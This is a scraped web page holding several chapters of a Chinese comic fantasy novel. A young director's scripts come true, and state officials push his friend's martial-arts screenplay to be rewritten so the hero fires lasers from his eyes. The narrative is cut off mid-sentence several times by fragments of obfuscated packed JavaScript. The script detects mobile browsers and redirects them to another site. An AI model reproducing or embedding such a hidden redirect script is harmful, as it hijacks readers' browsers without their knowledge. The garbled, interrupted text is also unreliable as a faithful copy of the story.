当陈继广告诉他之后不用再接受什么检查的时候，他终于大大地松了口气。 倒不是因为检查有多么难受，而是因为每天就待在这么一个地方无所事事，实在是太无聊了。 “所以陈叔，下一步国家对我有什么要求吗？是不是应该让我进入异能机构，然后开始用我的异能拍电影了？”温行双眼亮晶晶地看着陈继广，充满期待。 自从知道自己的异能之后，他已经有很多想法冒出来了！ 不料陈继广笑呵呵地对他说：“没事没事，不用这么着急。先给你放个一周的假，好好休息一下再说嘛。” 说放假，居然就真的是放假，这一周他想去哪儿去哪儿，想做什么做什么，费用由国家报销。 在得知他想回家之后，立刻有直升机载着他飞回了S市。 回到S市之后，他还有种不真实的感觉，自己过去一周的经历，和眼前这座岁月静好的小城好像是两个世界。 这一周的时间，他直接回家和爸妈、妹妹一起待着了。还是和家里人待在一起最放松。 由于保密协议的原因，前段时间的事没法和家里人说， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“反正在座各位，一时半会也拿不出合适的剧本吧？” 温行：“那这个剧本我就随意发挥了吧？” 王正平一愣，不知道为什么，看着温行脸上的笑容，他居然感觉有点不妙。 但他话都放这儿了，只能说：“当然，你想怎么写都可以。” 大不了，等到时候再修改嘛。 “好，那我回去就写！” 会议刚一结束，温行就立刻窜回了自己的房间，打开了电脑。 他搓了搓手，眼睛亮起了精光…… …… 第二天，陈继广看到温行，吓了一大跳：“小温啊，你这是一晚上没睡？” 温行顶着两个大大的黑眼圈，眼睛亮闪闪的：“是啊，陈叔，我昨天通宵写剧本来着。各位领导什么时候有空，来看看我的剧本？” 陈继广又被吓了一跳：“你的剧本已经写完了？” “没有没有，”温行摆手，他就算写得再快也不可能一晚上就写完，“我就是先写了几个开头，想让各位领导们看看合不合适。” 陈继广一想也是，等剧本写完了才审核，如果不合适的话沉没成本也太高了。 “好，那我们先看看你写的东西。”正好昨天刚开完会，几位领导都还在局里，找起来也方便。 很快，几位相关的负责人聚在了会议室里。温行抱着自己刚打印好的剧本开头进来了，分给了各位负责人。第一份自然是它拿给了离他最近的陈继广：“陈叔，您先看看。” 陈继广端起面前的茶杯，悠哉游哉地抿了一口，拿起了剧本。 他先从剧本的第一句话开始看起： 【26x5年x月x日，作为蓝国统一全球的三周年纪念日，全国上下都弥漫着喜悦的……】 “噗——” 陈继广嘴里的茶水猛地喷了出来。 4. 中道崩殂 其他几位领导翻开剧本，表情也不约而同扭曲了一瞬。不过由于陈继广的前车之鉴，他们倒是没有做出什么失态的举动。 陈继广手忙脚乱地擦着桌子上的茶水：“小温啊，你对我们蓝国是不是有什么误解，我们是热爱和平的国家！” 温行：“对不起对不起，是我欠考虑了。” 他赶紧把剧本拿过来，往第一句里面加了个“和平”： 【26x5年x月x日。作为蓝国和平统一全球的三周年纪念日……】 陈继广看着温行的动作，差点又喷了。好在这次他吸取教训，嘴里没喝水：“不是加上和平两个字就能行的！” 温行：“还不行吗？没事，我还有第三个版本。” 陈继广还来不及阻止他，他就又把剧本拿了回去。于是，陈继广只能眼睁睁地看着他划掉了上一行，继续写： 【26x5年x月x日。作为这颗星球仅存的国家，蓝国……】 陈继广：“噗——咳咳咳咳咳……” 这次他确实没喝水，是硬生生地被口水呛着了。 这怎么一个比一个离谱啊！ 王正平看着他的表情，伸手把那份温行修改过的剧本拿过来看了一眼。 王正平：“……” 这位大领导也露出了一个不忍直视的表情。 他忍不住扶额：“小温啊，那个，我理解你希望蓝国越来越好的心情，但是这份剧本也有点太夸张了……” “咳，这就太夸张了吗？”温行挠了挠脸蛋，没好意思说因为担心吓着各位领导，这已经是他最保守的一个版本了。 什么灵气复苏啊、全球进化啊、机械飞升啊……这些构想他都还没拿出来呢。 虽然他没直说，但在座领导看到他的表情也差不多能猜出他是什么意思，不约而同地陷入了沉默。 ……不是，这么离谱的剧本你还有多少啊？ 最后还是王正平轻咳一声：“老陈啊，还是你给小温解释一下吧。” 陈继广：“是这样的小温，你的异能虽然很厉害，但也不是没有限制，可以随意使用的……” 他拿出之前温行检测的一沓厚厚的报告，开始讲了起来：“就比如说，一个人的异能力量终究是有限的，对不对？如果你真靠一个剧本就改变了世界格局，那你就不是人了，而是神。而且你的异能才刚刚觉醒……” 温行一边听着，一边从陈继广一大堆啰里啰唆的专业术语中提炼出了重点—— 首先，他的异能是不能无限使用的。（这可太令人遗憾了） 其次，异能的发挥不是越天马行空的电影越好，如果电影距离现实的差距过大的话，不仅很容易造成异能反噬，还可能出现完全无法预料的后果。 比如说他在剧本里写【蓝国是世界上唯一的国家】，虽然他写剧本的时候想的是蓝国统一世界，但谁知道这个剧本会实现多少、以怎样的方式实现呢？万一实现的途径是除了蓝国之外的所有国家都被灾难毁灭呢？ 看到温行失望的表情，王正平微笑着拍了拍他的肩膀：“小温啊，虽然你的异能有很多限制，但也有合理利用它的方法。就在你休假的这段时间，国家已经讨论出一个大致的方案了。” 包括剧本如何设计这些方方面面，也是考虑过的，他们国家部门可不是吃白饭的。 温行乖乖露出了一个倾听的表情，有一位领导简单给他讲了一下，大意是——剧本不是越夸张越好，恰恰相反，越接近现实、越具体、越逻辑缜密的剧本，越有可能成真。 就比如说，如果温行剧本写“蓝国统一全球”，那大概率是实现不了或者会以出乎预料的形式实现；但如果他写“蓝国在能源物理领域取得特定突破”，顺利实现的可能性就大很多了。 当然，等他异能的力量慢慢变强之后，这种限制又会放宽一点儿。 “哦……”温行若有所思地答应着。 王正平：“呵呵，小温啊，也怪我们最开始没有和你解释清楚。剧本的事情，你回去再考虑考虑，不着急。实在不行，我们可以派专人写剧本来供你挑。” 当然，最后的选择权，肯定是还在温行手上的，毕竟他是导演嘛。 这次会议就暂且结束了，几人往出走的时候，王正平走到温行的身边，呵呵一笑：“对了，小温啊，你看看卡里是不是多了一笔钱？” 温行赶紧掏出手机银行看了一眼，果然多了一条进账纪录。 一、二、三、四、五……？ 温行看着那一串的零，眼睛发直。 “王、王叔，这是……？我还没开始拍摄呢。” 王正平微微一笑：“这当然不是你之后的工资。这是你之前拍摄应得的钱。” 之前……？是说在李导那里拍的那部吗。 温行猛地从手机中抬头，震惊地看向王正平。 他们居然知道李导拖欠他工资的事情？ 不过想想也是，这可是国家出面，有什么查不出来的。 “王叔，但是我工资也没这么多啊。”温行疑惑。 他之前的岗位拍摄助理，可是月薪三千，童叟无欺。 王正平：“这是按照导演的规格给你的。之前那部电影，实际上是你执导的吧。演职员表上的名字可能骗人，但异能可骗不了人。” 温行愣愣地看着他。 王正平：“虽然这部电影估计是上映不了了，但你该拿的钱还是应该拿上的。” 温行看着王正平慈祥的表情，鼻子有点发酸。虽然国家承诺过之后工资和各种条件都不会缺他，他目前也不是那么需要这笔钱，但是他们居然注意到了这件事，还帮他拿回了他应得的东西…… 有国家爸爸撑腰，实在是太爽了！ 王正平看着他的表情，想到之前看到的那份苛刻的合同，也有点感慨。 “虽然我不能承诺以后完全杜绝，但这种事情，肯定会越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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反正这就是部为了赚钱的粗制滥造恐怖片，剧组的所有人也对它没什么感情，更对它没什么艺术追求，不拍就不拍吧。 其中最开心的就是导演了，脸都快笑成了一朵花。 这一整天他可谓是大起大落又大起，心情跟坐了过山车似的。 不过好在结果是好的，领到钱之后，所有人都高高兴兴地回家躺平去了。 杨浩波就是其中之一，他和温行抱怨：“唉，这两天天天过着躺在家里无所事事的生活，人都快躺发霉了……” 温行：“……” 温行：“那要不你再找个剧组996去？” 杨浩波赶紧尴尬一笑：“开玩笑的，开玩笑的，我觉得发霉挺好的，哈哈。” 温行在电话这边沉思着，刚才那句话他只是随口一说，但他突然冒出来了一个灵感。 温行：“我记得，你之前是不是有个武打片的剧本来着？” 5. 艺术梦想 这事还是之前他们在李导剧组的时候，杨浩波和他说的。 当时两个人都是初入社会的大学生，又都被李导惨无人道地压榨，成了共患难的好兄弟。 某天晚上两人一起喝酒，杨浩波喝得有点多，就开始拉着温行滔滔不绝地讲起他自己写的剧本来。据他自己说，这是他花了三年时间打磨出的剧本，雄心壮志一定要把它拍出来。 ……然后社会就给他上了沉重的一课，别说拍出来了，这剧本就算是免费投给别人也没人要。 毕竟在现在这个高科技社会，武打片那种古早的东西早就没人看了，别说他一个岌岌无名的小编剧，就算是大导演大制作，也不敢轻易触碰这个题材。 说到这里，杨浩波痛哭流涕：“世风日下、人心不古啊！真正的艺术总是无人理解的。” 温行也开始痛哭：“是啊！电影应该是真正的艺术！这些***的拍的都是什么玩意！” ……总之两人就这么抱头痛哭了一夜，第二天酒醒了不约而同觉得丢脸，就再没提过这件事。 因此温行突然提起来，杨浩波除了惊讶之外还有点不好意思：“哎呀，都是上学时候写着玩的。” 温行：“如果现在有个机会，能把你的剧本拍出来呢？” 杨浩波那边安静了片刻：“行子，你刚才说……？” 温行：“咳，是这样的，我这边有个呃……大投资商，如果你愿意的话，可以投资你的剧本，而且还是拍摄后期宣发推广一条龙的投资，非常靠谱！你干不干？” 杨浩波第一反应是不信：“我一个小编剧，人家怎么会看上我？更何况人家连我的剧本都还没看过呢。” 温行：“人家没看过，我看过啊！我觉得没问题。” 或者说他刚才一琢磨，觉得这个剧本正合适。因为是武打片，所以基本上还是贴近现实的，大家都在肉搏，没有那些飞天遁地的情节。而且杨浩波打磨了这么久，剧本的逻辑也是挺严密的。剧本的效果也很明显，应该是提升武力的，十分适合给战斗系异能者使用。 当然还有个更重要的原因，帮助自己的好兄弟圆梦嘛。 当初他们可是互相承诺过的，苟富贵勿相忘啊！ 温行拍板：“就这么定了，你把你的剧本发给我，我给国，呃我是说大投资商看一下。” 即使杨浩波一直持怀疑态度，但还是抱着死马当活马医的态度把剧本发给了温行，温行则把它转发给了陈叔。 很快陈叔就回复了，说剧本他们已经粗略地看过了，但是由于这是温行的第一个剧本，他们还是得慎重再慎重，所以要召开专家会议讨论，让他们再稍等。 ……这一稍等，就稍等了三天。 这三天，杨浩波以平均两小时一次的频率发消息询问温行： 【结果出来没有啊？】 把温行整得烦不胜烦。 温行：【别急别急，人家资方也得开会讨论嘛】 杨浩波：【唉好吧，他们的速度也太慢了】 正在抱怨中的杨浩波不知道，国家已经因为他的剧本召开了十几个大大小小的会议了，而他的本子，也已经在各个大领导的面前转了一圈。 可以说是得到了一般剧本绝对得不到的待遇…… 不过不管怎么说，最后讨论的结果是——通过！ 温行一收到这个消息，就给杨浩波打电话：“你的剧本过了！” 对面沉默了几秒，然后突然爆发出一声大叫，差点把温行的耳朵震聋。 说到这个，温行突然想起来：“不过……可能需要根据要求，稍微修改一下剧本。” 杨浩波对此接受良好：“嗨，资方嘛都是这样的，只要不改得太过分我都能行。” 毕竟如果没有这位神秘的投资商，他的剧本就得放在电脑里吃灰了。 温行迟疑：“应该……不会太过分吧？” 之前陈叔不是和他说过剧本不能太离谱么？而且一个武打片，就算改又能改多少呢。 杨浩波：“那我没问题！” 说到这里，他忍不住感慨万千：“行子，我没想到我的作品居然真的有拍出来的一天。你知道吗，这不是普通的剧本啊，这是梦想，这是艺术啊艺术！” 他从来没有想到，自己的剧本有一天还能被搬上荧幕。至于温行刚说的“稍微修改一下剧本”，则被他忘到了九霄云外。 毕竟一个武打片，就算改又能改成啥呢？ 又经过两天的会议和商讨，剧本也最终确定了下来，就用这部武打片了。 温行给杨浩波打了个电话：“咳，剧本已经敲定了，我们的投资方想见见你，顺便签订一些…协议。” 杨浩波：“我懂我懂，要签合同了是吧。” 温行：“……嗯。” 知情书和保密协议怎么不算一种合同呢。 杨浩波：“什么时间啊，在哪儿？” 温行：“明天，在A市。” 杨浩波：？ 杨浩波：“不是，你确定在A市吗？A市距离S市可不近啊。我算算，坐车得七八个小时呢……” 温行用冷酷且装逼的嗓音回道：“不用，到时候有直升机来接你。” 杨浩波：？？？ 温行在电话这头狂笑。 …… * 之后，杨浩波也经历了同样的颠覆世界观的过程，花了几天时间让杨浩波签完一大堆保密协议、了解了大部分情况之后，就开始考虑修改剧本和正式拍摄的问题了。 为此还专门开了个会议，在场的除了异能局的领导之外，就是温行和杨浩波这两个剧组的核心成员了。 杨浩波这个剧本也不算复杂，就是一位隐姓埋名的武林高手由于一些契机决定重出江湖、了解过往恩怨的故事。 当然，杨浩波在剧本中加入了很多关于何为武者、何为正道的哲学讨论，使得这个剧本有了一些深度。比如里面有一个情节就是主角在看到天下大乱、生灵涂炭之后，对自己过去坚持的独善其身的道路产生了困惑，花了三天的时间入定，思考究竟如何才算一个真正的侠客。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793786|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >通过这个情节，他堪破心障，武功有了一个质的飞升，开始大杀四方，算是剧情中一个非常重要的转折点。 总的来说，杨浩波对自己的剧情还是很满意的。 因此在会议上，他小心翼翼地询问道：“请问能不能尽量不修改我的剧情呢？当然，如果国家需要的话，我肯定会无条件配合的。” 没想到负责剧本的那位领导大手一挥：“小杨啊，你这个剧情我们讨论过了，各方面都挺合适的，没什么需要修改的地方。” “真的？”杨浩波十分惊喜，这么爽快的投资人在外面可是遇不到的，要知道一般的资方不让你改个两轮三轮的都算善良了。 “但是，之前不是说需要稍微修改一下我的剧本？”他又疑惑道。 领导：“是这样的，我们需要你修改的主要是主角的能力……” 杨浩波一头雾水：“主角的能力？” 领导就给他解释了一下，他们这个剧本的作用很显然是强化个人武力的，所以国家打算把这个效果用到异能局里的某位顶尖异能者身上。 让这位异能者来参演主角，用电影的力量来让这位异能者的异能得到提升，甚至是二次进化等级。 陈继广：“小温、小杨啊，你们要知道，越顶尖的异能者就越稀缺、能力也越难提升。所以你们这部电影拍得好的话，可以让国家再多出一位顶级的异能者，增强我们的实力！” 听到这里，两人的脸色都是一肃，本来杨浩波还在疑惑一部武侠片能有什么用处，现在也没有这样的疑惑了。 杨浩波：“我明白了！陈叔，那我需要怎么修改主角的能力呢？” 陈继广：“首先，我们希望你能让主角的武力值稍稍夸张一点……” 杨浩波：“嗯嗯，没问题！” 加点主角高光嘛，这个他还不会？ 陈继广：“其次呢，主角的能力，要和异能者的能力相契合……” 也就是说，异能者的能力是什么，他们就要尽量往这个方向拍。 陈继广：“至于要派出哪位异能者，异能局作战处那边还在讨论。不过作战处的异能者都是身体异能，也就是说，专门强化身体的某个部分。小杨啊，你觉得你们到时候能拍出来符合要求的效果吗？” 这也是他最担心的地方。 杨浩波：“没问题！” 看着陈继广略有些担忧的眼神，他自信一笑：“陈叔，各位领导，不瞒你们说，我之前为了写这个剧本，研究了很长时间的传统武学。中华传统武术博大精深，任何身体部位，都能有它对应的武功。手有铁砂掌、肩有猿臂功、腰有金钟罩、腿有无影腿、脚有凌波步……” “总之，无论是什么样的身体部位，都能找到合适的武功！就连头都有铁头功呢，是不是？” 说到最后，他还开了个玩笑，在座的几人都笑了起来，原本有些严肃的氛围也一扫而空。 陈继广也笑了：“你这么说就好，那改剧本的事就交给你了。” 杨浩波斩钉截铁：“放心吧陈叔！” 6. 艺术梦碎 会议的最后，又商量了一下拍摄地点的事情。 最后地点定在了S市。一方面，S市虽然离A市有点远，但有着国内最大的影视城；另一方面，电影拍摄进入正轨之后，他们也没必要一直留在局里开各种会了，不需要留在A市。 当然，他们两个S市人想回家乡待着的私心也占一部分原因。 由于作战处那边还没有选定派出哪一位异能者，他们就先回到S市，开始电影的筹备工作。 …… 接下来这段时间，温行总算体会到了狐假虎威和花钱如流水的感觉。 各种设备、场地？当然是要最好的，花多少钱无所谓，反正国家报销。 摄影团队？请国内最顶尖的团队过来。 演员阵容？当然是演技最好的老戏骨。有些老演员花钱也请不到，那就直接请国家出面。 老一辈的演员们大多都很有家国情怀，虽然不清楚具体要做什么，但一听到是国家的需求，都非常愉快地答应了，甚至还有提出要减免片酬的。 不过该给的钱国家还是会给的。 最后，一支拍摄阵容不到两周就已经凑齐了。不过除了温行和杨浩波之外，其他的人员都不知道更机密的事情，只当这是一部阵容比较豪华的普通电影。 万事俱备，只欠东风。班底已经准备好了，就等着主演过来了。 就在这个时候，那位据说经过层层选拔才选出来的异能者，终于搭乘着直升飞机来到了S市。 那位异能者来的时候，温行正在剧组里和主演们研读剧本。剧场里工作人员正在调试设备、寻找角度，整个地方闹哄哄、乱糟糟的。 “哎，摄像机再往这边点，往这边点啊！” “让一让让一让……” 就在这时候，有个工作人员进来告诉温行，有人找他。 温行离开片场，看到从车上下来的人，眼前一亮：“队长，是你啊？” 没错，眼前这个人，正是最开始接他的那位一队队长。 队长的脸上也露出一丝笑意：“不用叫我队长了，我的名字叫喻逸明。” 除此之外，和他一起从车上下来的还有一位中年女士，喻逸明向两人介绍道：“这位是刘雅安刘局，是异能局S市分局的局长。” 刘雅安笑眯眯地同两人握手：“不用客气，叫我刘姨就行，之后你们在这边的事务就是由我负责了。” 三人又寒暄了几句，刘雅安就先走了，看起来她的任务就是把喻逸明平安送到剧组来。 温行则带着喻逸明去熟悉剧组，和其他几位主演打过招呼。 温行：“这位是喻逸明，我们的男一号。” 其他几个演员都只是用混杂着友善和好奇的表情想他们打了招呼，毕竟对于他们来说这只是一位普通的同事。但杨浩波却猛地转头看向喻逸明—— 终于来了！ 他可是知道这位是什么身份的，一个活生生的异能者（除了温行之外）就这么站在他面前，想不激动也难。 在剧本研讨中途休息的时候，杨浩波十分激动地拉着温行和喻逸明到了个无人的角落：“您就是那位上面派过来的异能者吧，幸会幸会。” 喻逸明摆手：“不用这么客气，直接叫我名字就行。” 杨浩波期待地看着喻逸明。 和他以为的不太一样，面前的人身形看着很匀称，没有某个身体部位特别夸张的，他乍一看还真猜不出来对方是什么异能。 杨浩波：“我想问一下，你的异能是强化哪个身体部位啊，我好回去改剧本。感觉从外表上看不太出来呢哈哈哈。” 他这么一问，温行也看向了喻逸明。 说实话，他也对这位队长的异能挺好奇的。 喻逸明：“确实不太容易看出来，因为我是眼部异能。” 杨浩波：……？ 温行：……？ 杨浩波不死心：“什么眼部异能，你说哪个眼部？” 喻逸明奇怪：“眼睛的眼啊，不然还能是哪个？” 说着还指了指自己的眼睛。 “……” 大概是杨浩波和温行的沉默让他意识到了什么，喻逸明环顾了一下古色古香的布景、十分古朴的服化道，声音里难得带上了一丝迟疑：“请问你们这是个……什么电影啊？” 温行：“哈哈。是武打片呢。” 沉默。 三个人中间，只剩下沉默。 * 其他演员们正在专心致志地研讨剧本，看着杨浩波把温行和喻逸明拉出去了，没过一会儿，杨浩波又回来了。 他十分平静地宣布道：“好了，大家不用看剧本了，都回家休息吧。” 演员们：？ 杨浩波：“明天也不用来了，我们这个剧组解散吧。” 演员们：？？？ 杨浩波：“哈哈哈他妈的这剧本是改不了一点，我很冷静，不要拦我啊，我不想活了啊啊啊——” 后面这几句话是对着温行说的，此时刚赶过来的温行正从后面拼命抱着他，防止他一头撞到墙上：“别撞啊，你冷静点啊！” ……现场一度十分混乱。 一直到当天晚上，两人和刘姨一起吃饭的时候，杨浩波还处于崩溃状态：“呜呜呜你们当初也没告诉我是眼部异能啊，这和说好的不一样啊！” 刘雅安也十分无奈，给他们解释了一下这个乌龙是怎么来的。 因为温行的异能，以及相关的一切事项都属于国家最高机密，所以异能局作战处那边是不能知道具体细节的。国家给他们的信息只有——有一个机会可以进化异能，但必须要身体异能者。 于是经过左挑右挑，就这么挑中了喻逸明。因为他是队伍里异能级别最高，且年纪最轻的一个，年龄越小意味着异能进化的可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793787|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能性越大。 最关键的是，他完美地符合“身体异能者”这个条件。 ——眼睛也是身体的一部分嘛！没毛病！ 行动组就这么兴致勃勃地把名字提交了上去。 温行：“这电影，我们实在是没法拍啊……” 这你让他怎么拍，主角一个眼神杀死反派吗？ 刘雅安深深地叹了口气。 她的表情一下子凝重了，灯光下的眼神锐利：“小杨啊，如果是一个月前，你说剧本没法写，我们肯定不会勉强你。但现在的情况非常特殊。就在一周前我们刚刚得到消息，鹰国觉醒了一个S级异能者。” 看两个人眼神都懵懵懂懂的，不知道这究竟意味着什么，她继续解释道：“在此之前，异能的最高等级为A，S级只是一个存在于理论中的等级，甚至有很多人怀疑它是不是真的，但这名异能者的出现打破了一切。哼，他们之前可是一直被我们压着打的，也就是这一次走了狗屎运，居然嚣张起来了……” 她没有说，其实温行的异能等级也很有可能超越A级成为S级，但由于温行的异能太特殊了，出于保护的原则，就算是也不能公布出去。 温行一下子从她的话里抓住了重点：“也就是说，蓝国也需要一位S级的异能者？” 刘姨：“是的。这个等级的异能者，每一位都有着战略性的作用。所以国家的意思是，不仅要拍，还应该尽快拍，让蓝国也进化出一位S级异能者，而且是进攻型异能者，这样才能够有效地打击到鹰国的气焰！” “为此，剧本改成什么样都没问题，你们尽情发挥！” 杨浩波被她这一席话说的激动万分：“刘姨，您不用再说了，我们肯定会把电影拍好的，在所不辞！” 温行嘴角微微抽搐了一下，看着杨浩波三言两语就被哄得找不着北了。 不知道是不是他的错觉，他感觉刘姨的眼睛里露出一抹狡黠…… …… 离开饭局的时候，杨浩波还在感动地抹着眼泪。 等到回了酒店，拿出剧本之后，他又哭了，只不过这次是悲愤的眼泪：“呜呜呜行子，我刚才为什么要脑子一热答应啊，我的剧本！我的梦想！我的艺术！就全都这么毁掉了！你还我艺术梦！” 他已经能想象到，这会是个怎样不伦不类的超级大烂片了。 想想那个画面，就觉得惨不忍睹。 温行幸灾乐祸：“这可是你自己答应的，谁让人家一怂恿你就上钩了……不过往好里想，这也是为国家献身嘛。” 见他笑的开心，杨浩波幽幽地抬头看他：“没事，现在是我为国家献身，等到开拍的时候，就是你为国家献身了。反正我现在写出什么离谱的剧本，到时候你都得照着拍。” 杨浩波：“不仅如此，最后拍出来的成片上面，还会挂你的大名呢，总导演！” 温行的笑容一下僵在了脸上。 7. 魔改剧本 会议室里，温行、杨浩波和另一位中年男子围坐在圆桌旁，每人面前放着一份剧本。 除了那位中年男子外，温行和杨浩波不约而同地哭丧着脸，会议室内氛围的凝重程度堪比上坟。 至于为什么会有这一幕，就得说回两天前了。在得知出了这么大一个乌龙之后，陈继广给温行打去了电话。 电话里，陈继广也显得十分尴尬：“哈哈，小温啊，这个，情况我们也都了解了。国家的意思是，你们就适当地发挥一下创新嘛……” “创新”两个字，他说得格外的中气不足，大概也知道这个要求有点太难为人了。 陈继广赶紧补充：“实在不行，我们把异能局作战处的总指挥也派过去和你们一起改剧本！他非常熟悉队员们的异能能力，说不定能给你们提点好建议呢。” 于是，总指挥陈明辉，也就是他们面前的这个中年男子，就这么来到了剧组。 温行默默地翻开剧本第一页，深吸一口气：“好了，陈指挥，您说说吧，我们这剧本怎么改。” 相比两人的低落，陈指挥的情绪格外的昂扬。毕竟对于他来说，这就是一个队伍实力得到增强的好机会，天上掉馅儿饼的好事！ 种种美好的设想已经浮现在眼前，因此陈指挥直接是大手一挥：“首先，为了和鹰国那个S级抗衡，我们的异能也一定要往进攻方向进化，不用担心夸张，威力越强大越好，最好是能拍出那种排山倒海的效果！” “……” 温行默默地把“千里眼”、“透视”这种能力移出了选项。看来打擦边球是行不通了。 陈指挥：“其次，最后拍出来的效果也一定要显眼一点，不要搞含蓄那一套。越显眼，映射到现实中的可能性才越大嘛。” “……” 这要求放在仙侠片里说不定还能实现，但是放在本身就偏向含蓄的武打片里，就是灾难了。 温行和杨浩波硬着头皮讨论了半天，也只勉勉强强讨论出一个方案。 温行：“陈指挥，那要不这样，就拍主角的眼神能杀人于无形，一个眼神过去敌人立马倒下……” 他觉得这放在武打片里已经够夸张的了，但陈指挥显然不太满意，摇了摇头：“敌人立马倒下，威力倒是有了。但是只有眼神的话，还是不够明显啊。” 杨浩波哭丧着脸：“就一个眼神，它能明显到哪儿去呢？要不这样，拍摄的时候专门给一个主角瞪眼的特写？” 陈指挥沉思了片刻，缓缓摇头：“感觉还是不太对。” 两人轮番提了几个提议，都被陈指挥用各种理由否定了。 温行觉得自己终于体会到甲方口中“五彩斑斓的黑”是个什么感觉了。 他十分绝望：“那怎么办，一个眼神我们能给它拍成啥，总不能主角眼睛里射出两道激光吧？” 没想到，陈指挥眼前猛地一亮：“哎，这个提议好！” 温行：？？？ 杨浩波：？？？ 陈指挥已经激动地沉浸在自己的设想中了：“激光系能力可是异能中公认最强的，和眼部异能结合在一起威力肯定很恐怖。拍在电影里也足够直白明显，很好、很好、很好！” 连说三个“很好”，明显是对这个设想满意得不得了。 温行和杨浩波双双仰倒。 看出来了，这位陈指挥心中没有一点对艺术的追求，全都是对力量的渴望…… 杨浩波打开电脑开始改剧本。 最开始他还努力挣扎一下，到后面肉眼可见地摆烂了，看起来已经放弃了一切。 主角龙场悟道，悟出了眼睛放激光的武功？改！ 主角眼睛激光扫过，一片敌人倒下？改！ 主角用激光杀死了千里之外的仇人？改！ 主角用激光击碎了一座大山？改！ 没事，改、改，都能改！ 剧本终于改完了，温行和杨浩波身上都弥漫着淡淡的死感，与此相对的是陈指挥，嘴角都快翘到天上了，抱着剧本满意地看了又看，感觉自己手里像是抱着蓝国的希望。 杨浩波把打印出来的剧本往温行怀里一丢：“出去之后，别说这剧本是我写的。” 颇有一种“日后闯祸不要把为师供出去”的感觉。 温行接过剧本来翻了翻。 温行：“我觉得，我宁可回去拍恐怖片。” 和他手上这个剧本比起来，就连恐怖片里的女鬼都显得那么眉清目秀…… 杨浩波在一旁给他补刀：“记得把这份剧本拿给演员们看看啊，总导演。” 温行：“……” 坏了，他都忘了还有这一茬呢。 …… 不管这份剧本如何离谱，温行也只好召集演员们研讨了一下新剧本。 他提前给他们打预防针：“各位，由于投资方的要求，我们不得不改动了一下剧本，有些地方可能会改得，咳，稍显离谱……” 当把温行发下去的新剧本看完之后，现场陷入了一片死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看到入账通知里那一串零，头也顾不上抬了，话也不顾上说了。 杨浩波：“卧槽！” 温行：“你的艺术梦想？” 杨浩波：“嘿嘿，说什么呢，我什么时候有过那种东西？” 变脸之神速，令温行叹为观止。 8. 开拍 ……被钱砸得心服口服的两人，又非常积极主动地回到了工作中去。 之后这个修改过的剧本在各大领导面前转了一圈，一致通过之后，终于可以开始拍摄了。 拍摄第一天。 温行的计划是直接按照剧本的顺序开始拍摄。一方面剧本的前半部分打斗场面比较简单，可以让演员们慢慢进入状态，另外一方面…… 前三分之一的剧本还是挺正常的，没有激光出现。 温行害怕一开始就拍摄后面的部分，他和演员们会统统笑场，直接拍不下去。 武打片整体可以分为文戏和武戏两部分，文戏包括各种阴谋诡计、口头交锋，还有一些关于武学的哲学讨论，而武戏就是其中穿插的各种打斗环节。 作为武打片，武戏当然是重中之重了。理论上来说，每一招式都要请专家精心设计，在保证逻辑性的同时给观众最爽的观看体验。 虽然这部武打片的大部分武打情节都被替换成了主角直接用眼睛放激光，但是为了保证严谨性，温行还是请了一位武术指导到现场。 说起来，那位武术指导最开始看完剧本的时候，差点站起来直接走人：“温导，你这不是捉弄人嘛，这让我怎么指导，指导激光怎么射显得更合理吗？” 温行赶紧拦他：“咳……我们剧本里还是有一些打斗情节的嘛，比如说最开始的几场武斗和配角之间的打斗。对了，这是我们给您开的薪资，您参考一下。” 于是，武术指导就这么被留下来了。 第一场戏是个很简单的打斗，先是几个官兵与山匪缠斗，半中间主角出场，几下将山匪全部收拾掉之后，飘然而去，只留下一个世外高人的形象。 演员们纷纷换好了衣服，温行专门留意了一下喻逸明，毕竟这里只有他一个不是专业演员。没想到这身武术衣在他身上还挺合适的。喻逸明长相不错，加上宽肩窄腰的身材和身上的坚毅气质，站在那儿还挺像那么一回事的。 温行感觉自己放心了不少。 ……然而一开拍他才发现，自己放心早了。 喻逸明也就是站在那里的时候像一回事了，一拍起来哪哪都露陷。 毕竟这位别说拍电影了，就连电影都没有看过几部！ 短短一场打斗戏，ng了不知道多少次—— 